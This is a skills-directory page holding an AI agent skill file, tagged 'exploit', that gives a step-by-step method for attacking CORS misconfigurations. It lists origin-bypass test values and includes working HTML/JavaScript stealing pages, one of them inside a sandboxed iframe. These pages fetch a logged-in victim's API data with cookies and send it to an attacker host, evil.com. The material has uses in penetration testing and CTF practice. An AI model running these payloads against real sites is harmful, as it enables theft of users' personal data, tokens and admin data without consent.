Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Cors Misconfiguration?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-cors-misconfiguration)
---
name: cors-misconfiguration
description: "CORS misconfig: origin reflection, null origin, credentialed"
metadata:
tags: "cors,cross-origin,cross-origin,access-control,origin,credentials,preflight"
category: "exploit"
---
# CORS Misconfiguration Methodology
A CORS (Cross-Origin Resource Sharing) misconfiguration lets a malicious site read sensitive data from the target across origins. The key is the two response headers `Access-Control-Allow-Origin` and `Access-Control-Allow-Credentials`.
## Phase 1: Detect the CORS configuration
### 1.1 Send a request with an Origin
```
http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}
```
Check the response headers:
- `Access-Control-Allow-Origin: https://evil.com` → reflects an arbitrary Origin (**dangerous**)
- `Access-Control-Allow-Origin: *` → wildcard (usually can't carry cookies)
- `Access-Control-Allow-Credentials: true` → allows cookies (**combined with a reflected Origin = critical vuln**)
- No ACAO header → CORS correctly refuses
### 1.2 Test Origin-validation bypasses
```
# empty Origin
Origin: null
# subdomain
Origin: https://evil.target.com
Origin: https://target.com.evil.com
# prefix/suffix match
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com
# special scheme
Origin: http://target.com (an HTTPS site accepting an HTTP Origin)
```
### 1.3 Judging dangerous combinations
| Allow-Origin | Allow-Credentials | Risk level |
|-------------|-------------------|----------|
| reflects any Origin | true | **Critical** — can steal user data cross-origin |
| `null` | true | **High** — an iframe sandbox can set a null origin |
| `*` | false | **Low** — can't carry cookies, usually exposes only public data |
| fixed allowlist | true | safe (unless a domain you control is on the allowlist) |
## Phase 2: Exploit the CORS misconfiguration
### 2.1 Reflected Origin + Credentials (most common)
The target returns:
```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```
Build a stealing page:
```html
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// send to the attacker server
fetch('http://evil.com/log?data=' + JSON.stringify(data));
});
</script>
```
### 2.2 null Origin exploitation
If `Access-Control-Allow-Origin: null`, trigger it with an iframe sandbox:
```html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
</script>
"></iframe>
```
## Phase 3: Data retrieval
Sensitive data you can read after a successful CORS exploit:
- User personal information (`/api/profile`, `/api/userinfo`)
- API keys and tokens
- Internal API data
- Admin-panel data
**In CTFs**: the flag is usually in an API that requires an admin cookie to access.
## Notes
- A CORS vuln needs the victim to visit the attacker's page to trigger (like CSRF/XSS)
- A plain `Access-Control-Allow-Origin: *` doesn't allow `credentials: include`, so the risk is lower
- Check how preflight (OPTIONS) requests are handled — some frameworks only set CORS on GET, not on OPTIONS